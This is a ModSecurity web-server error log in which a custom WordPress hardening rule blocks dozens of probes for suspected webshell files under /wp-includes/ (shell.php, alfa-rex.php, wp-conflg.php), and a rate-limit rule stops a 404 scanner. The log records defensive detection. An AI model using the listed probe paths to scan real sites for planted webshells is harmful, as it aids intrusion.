[Tue Feb 24 02:48:10.977314 2026] [:error] [pid 60063:tid 60088] [client 37.140.254.117:34871] [client 37.140.254.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/lib/widget-group.php"] [unique_id "aZyg6k_6t1uQomVVdUOMVgAAARc"]
[Tue Feb 24 02:48:12.897605 2026] [:error] [pid 29424:tid 29440] [client 37.140.254.152:37303] [client 37.140.254.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jcrop/about.php"] [unique_id "aZyg7PgElGDq6B8YX7B7qwAAAM4"]
[Tue Feb 24 02:48:14.852297 2026] [:error] [pid 60063:tid 60073] [client 37.140.254.175:46661] [client 37.140.254.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/chosen.php"] [unique_id "aZyg7k_6t1uQomVVdUOMXgAAAQg"]
[Tue Feb 24 02:48:17.520338 2026] [:error] [pid 60063:tid 60067] [client 37.140.254.158:31413] [client 37.140.254.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/plugin.php"] [unique_id "aZyg8U_6t1uQomVVdUOMbgAAAQI"]
[Tue Feb 24 02:48:18.060273 2026] [:error] [pid 29424:tid 29437] [client 37.140.254.157:57997] [client 37.140.254.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-scripts-query.php"] [unique_id "aZyg8vgElGDq6B8YX7B7rQAAAMs"]
[Tue Feb 24 02:48:19.224604 2026] [:error] [pid 60063:tid 60089] [client 37.140.254.152:59993] [client 37.140.254.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/module.audio-license.php"] [unique_id "aZyg80_6t1uQomVVdUOMeQAAARg"]
[Tue Feb 24 02:48:20.941493 2026] [:error] [pid 29291:tid 29391] [client 37.140.254.173:37161] [client 37.140.254.173] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-error-module.php"] [unique_id "aZyg9D2gdpbMAXIIRb2BHwAAAIQ"]
[Tue Feb 24 02:48:22.214238 2026] [:error] [pid 29291:tid 29405] [client 37.140.254.132:41201] [client 37.140.254.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/litespeed.php"] [unique_id "aZyg9j2gdpbMAXIIRb2BIwAAAJE"]
[Tue Feb 24 02:48:23.454927 2026] [:error] [pid 60063:tid 60087] [client 37.140.254.123:47331] [client 37.140.254.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/alam.php"] [unique_id "aZyg90_6t1uQomVVdUOMhwAAARY"]
[Tue Feb 24 02:48:24.385147 2026] [:error] [pid 29424:tid 29428] [client 37.140.254.20:60529] [client 37.140.254.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-bindings/imagess.php"] [unique_id "aZyg-PgElGDq6B8YX7B7vAAAAMI"]
[Tue Feb 24 02:48:25.254617 2026] [:error] [pid 29289:tid 29293] [client 37.140.254.135:34019] [client 37.140.254.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/default-filters-edit.php"] [unique_id "aZyg-fSAX3I9FAhm7jnR9QAAAAA"]
[Tue Feb 24 02:48:27.119598 2026] [:error] [pid 29290:tid 29377] [client 37.140.254.121:53547] [client 37.140.254.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "aZyg-yURJ6Xg7pEW8XYphQAAAFM"]
[Tue Feb 24 02:48:28.624275 2026] [:error] [pid 29289:tid 29311] [client 37.140.254.20:28571] [client 37.140.254.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/theme.php"] [unique_id "aZyg_PSAX3I9FAhm7jnR_wAAABI"]
[Tue Feb 24 02:48:29.222455 2026] [proxy_fcgi:error] [pid 29424:tid 29430] [client 37.140.254.115:40727] AH01071: Got error 'Primary script unknown'
[Tue Feb 24 02:48:29.497669 2026] [:error] [pid 29424:tid 29427] [client 37.140.254.115:40727] [client 37.140.254.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/shell.php"] [unique_id "aZyg_fgElGDq6B8YX7B7yQAAAME"]
[Tue Feb 24 02:48:30.087227 2026] [:error] [pid 60063:tid 60072] [client 37.140.254.140:49693] [client 37.140.254.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-selective-refresh-library.php"] [unique_id "aZyg_k_6t1uQomVVdUOMlwAAAQc"]
[Tue Feb 24 02:48:31.410480 2026] [:error] [pid 29289:tid 29303] [client 37.140.254.149:36667] [client 37.140.254.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/library/wp-login.php"] [unique_id "aZyg__SAX3I9FAhm7jnSBAAAAAo"]
[Tue Feb 24 02:48:32.043351 2026] [:error] [pid 60063:tid 60073] [client 37.140.254.162:42753] [client 37.140.254.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/interactivity-api/about.php"] [unique_id "aZyhAE_6t1uQomVVdUOMnQAAAQg"]
[Tue Feb 24 02:48:34.448443 2026] [:error] [pid 60063:tid 60071] [client 37.140.254.160:41693] [client 37.140.254.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-2019.php"] [unique_id "aZyhAk_6t1uQomVVdUOMrgAAAQY"]
[Tue Feb 24 02:48:35.155741 2026] [:error] [pid 29291:tid 29400] [client 37.140.254.138:56025] [client 37.140.254.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/info.php"] [unique_id "aZyhAz2gdpbMAXIIRb2BPAAAAI0"]
[Tue Feb 24 02:48:36.554748 2026] [:error] [pid 60063:tid 60079] [client 37.140.254.170:61661] [client 37.140.254.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/log.php"] [unique_id "aZyhBE_6t1uQomVVdUOMtAAAAQ4"]
[Tue Feb 24 02:48:37.164925 2026] [:error] [pid 29291:tid 29390] [client 37.140.254.115:46863] [client 37.140.254.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime-num.php"] [unique_id "aZyhBT2gdpbMAXIIRb2BTAAAAIM"]
[Tue Feb 24 02:48:38.608154 2026] [:error] [pid 60063:tid 60088] [client 37.140.254.170:43079] [client 37.140.254.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-entry.min-object.php"] [unique_id "aZyhBk_6t1uQomVVdUOMugAAARc"]
[Tue Feb 24 02:48:40.339954 2026] [:error] [pid 29424:tid 29434] [client 37.140.254.167:60175] [client 37.140.254.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/aw.php"] [unique_id "aZyhCPgElGDq6B8YX7B73AAAAMg"]
[Tue Feb 24 02:48:45.043637 2026] [:error] [pid 60063:tid 60071] [client 37.140.254.166:53439] [client 37.140.254.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/db.php"] [unique_id "aZyhDU_6t1uQomVVdUOM4QAAAQY"]
[Tue Feb 24 02:48:46.742543 2026] [:error] [pid 29290:tid 29372] [client 37.140.254.152:52291] [client 37.140.254.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/install.php"] [unique_id "aZyhDiURJ6Xg7pEW8XYpogAAAE4"]
[Tue Feb 24 02:48:48.789657 2026] [:error] [pid 60063:tid 60088] [client 37.140.254.137:46125] [client 37.140.254.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/install.php"] [unique_id "aZyhEE_6t1uQomVVdUOM8wAAARc"]
[Tue Feb 24 02:48:49.338224 2026] [:error] [pid 60063:tid 60071] [client 37.140.254.117:30429] [client 37.140.254.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/dedi1.php"] [unique_id "aZyhEU_6t1uQomVVdUOM-AAAAQY"]
[Tue Feb 24 02:48:50.499925 2026] [:error] [pid 60063:tid 60075] [client 37.140.254.131:28261] [client 37.140.254.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/template-less.php"] [unique_id "aZyhEk_6t1uQomVVdUONBgAAAQo"]
[Tue Feb 24 02:48:51.157930 2026] [:error] [pid 29289:tid 29301] [client 37.140.254.161:44983] [client 37.140.254.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/alfa-rex.php"] [unique_id "aZyhE_SAX3I9FAhm7jnSHwAAAAg"]
[Tue Feb 24 02:48:53.858204 2026] [:error] [pid 29289:tid 29302] [client 37.140.254.130:22431] [client 37.140.254.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/min.php"] [unique_id "aZyhFfSAX3I9FAhm7jnSMwAAAAk"]
[Tue Feb 24 02:48:54.504768 2026] [:error] [pid 60063:tid 60069] [client 37.140.254.115:39927] [client 37.140.254.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-conflg.php"] [unique_id "aZyhFk_6t1uQomVVdUONFgAAAQQ"]
[Tue Feb 24 02:48:55.657774 2026] [:error] [pid 29291:tid 29407] [client 37.140.254.153:36513] [client 37.140.254.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/file.php"] [unique_id "aZyhFz2gdpbMAXIIRb2BdQAAAJM"]
[Tue Feb 24 02:48:56.528062 2026] [:error] [pid 29289:tid 29306] [client 37.140.254.138:49851] [client 37.140.254.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/about.php"] [unique_id "aZyhGPSAX3I9FAhm7jnSNwAAAA0"]
[Tue Feb 24 02:48:57.526372 2026] [:error] [pid 29291:tid 29390] [client 37.140.254.143:32289] [client 37.140.254.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/load.php"] [unique_id "aZyhGT2gdpbMAXIIRb2BewAAAIM"]
[Tue Feb 24 02:48:58.170987 2026] [:error] [pid 29290:tid 29369] [client 37.140.254.112:45211] [client 37.140.254.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/chosen.php"] [unique_id "aZyhGiURJ6Xg7pEW8XYpzAAAAEs"]
[Tue Feb 24 02:48:58.738234 2026] [:error] [pid 29424:tid 29446] [client 37.140.254.137:53445] [client 37.140.254.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-theme-float.php"] [unique_id "aZyhGvgElGDq6B8YX7B8FAAAANQ"]
[Tue Feb 24 02:49:00.210088 2026] [:error] [pid 29290:tid 29369] [client 37.140.254.131:47475] [client 37.140.254.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-style.php"] [unique_id "aZyhHCURJ6Xg7pEW8XYp1wAAAEs"]
[Tue Feb 24 02:49:01.160906 2026] [:error] [pid 29289:tid 29314] [client 37.140.254.117:65371] [client 37.140.254.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/autoload_classmap.php"] [unique_id "aZyhHfSAX3I9FAhm7jnSRAAAABU"]
[Tue Feb 24 02:49:02.869917 2026] [:error] [pid 29289:tid 29299] [client 37.140.254.131:27849] [client 37.140.254.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-bindings/admin.php"] [unique_id "aZyhHvSAX3I9FAhm7jnSTAAAAAY"]
[Tue Feb 24 02:49:03.921799 2026] [:error] [pid 60063:tid 60075] [client 37.140.254.152:20401] [client 37.140.254.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/autoload_classmap.php"] [unique_id "aZyhH0_6t1uQomVVdUONSwAAAQo"]
[Tue Feb 24 02:49:04.824737 2026] [:error] [pid 60063:tid 60081] [client 37.140.254.167:57311] [client 37.140.254.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/db.php"] [unique_id "aZyhIE_6t1uQomVVdUONUgAAARA"]
[Tue Feb 24 02:49:08.197942 2026] [:error] [pid 29291:tid 29395] [client 37.140.254.176:28127] [client 37.140.254.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/system.php"] [unique_id "aZyhJD2gdpbMAXIIRb2BqwAAAIg"]
[Tue Feb 24 02:49:09.105570 2026] [:error] [pid 60063:tid 60070] [client 37.140.254.146:61931] [client 37.140.254.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-bindings/about.php"] [unique_id "aZyhJU_6t1uQomVVdUONdwAAAQU"]
[Tue Feb 24 02:49:10.370755 2026] [:error] [pid 60063:tid 60089] [client 37.140.254.148:47839] [client 37.140.254.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-upload-control-cookie.php"] [unique_id "aZyhJk_6t1uQomVVdUONhAAAARg"]
[Tue Feb 24 02:49:10.979552 2026] [:error] [pid 60063:tid 60083] [client 37.140.254.149:32669] [client 37.140.254.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/simi.php"] [unique_id "aZyhJk_6t1uQomVVdUONigAAARI"]
[Tue Feb 24 02:49:11.666481 2026] [:error] [pid 29289:tid 29300] [client 37.140.254.171:37471] [client 37.140.254.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-taxonomy-sample.php"] [unique_id "aZyhJ_SAX3I9FAhm7jnSXQAAAAc"]
[Tue Feb 24 03:11:18.620201 2026] [:error] [pid 60063:tid 60068] [client 54.37.86.223:57216] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aZymVk_6t1uQomVVdUOaLQAAAQM"]
[Tue Feb 24 03:11:21.648726 2026] [:error] [pid 29424:tid 29430] [client 54.37.86.223:35284] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "aZymWfgElGDq6B8YX7CHAwAAAMQ"]
[Tue Feb 24 03:11:24.369943 2026] [:error] [pid 29424:tid 29439] [client 54.37.86.223:35292] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aZymXPgElGDq6B8YX7CHFAAAAM0"]
[Tue Feb 24 03:11:27.113121 2026] [:error] [pid 29424:tid 29442] [client 54.37.86.223:35306] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aZymX_gElGDq6B8YX7CHJQAAANA"]
[Tue Feb 24 03:11:29.851097 2026] [:error] [pid 60063:tid 60074] [client 54.37.86.223:35322] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aZymYU_6t1uQomVVdUOafgAAAQk"]
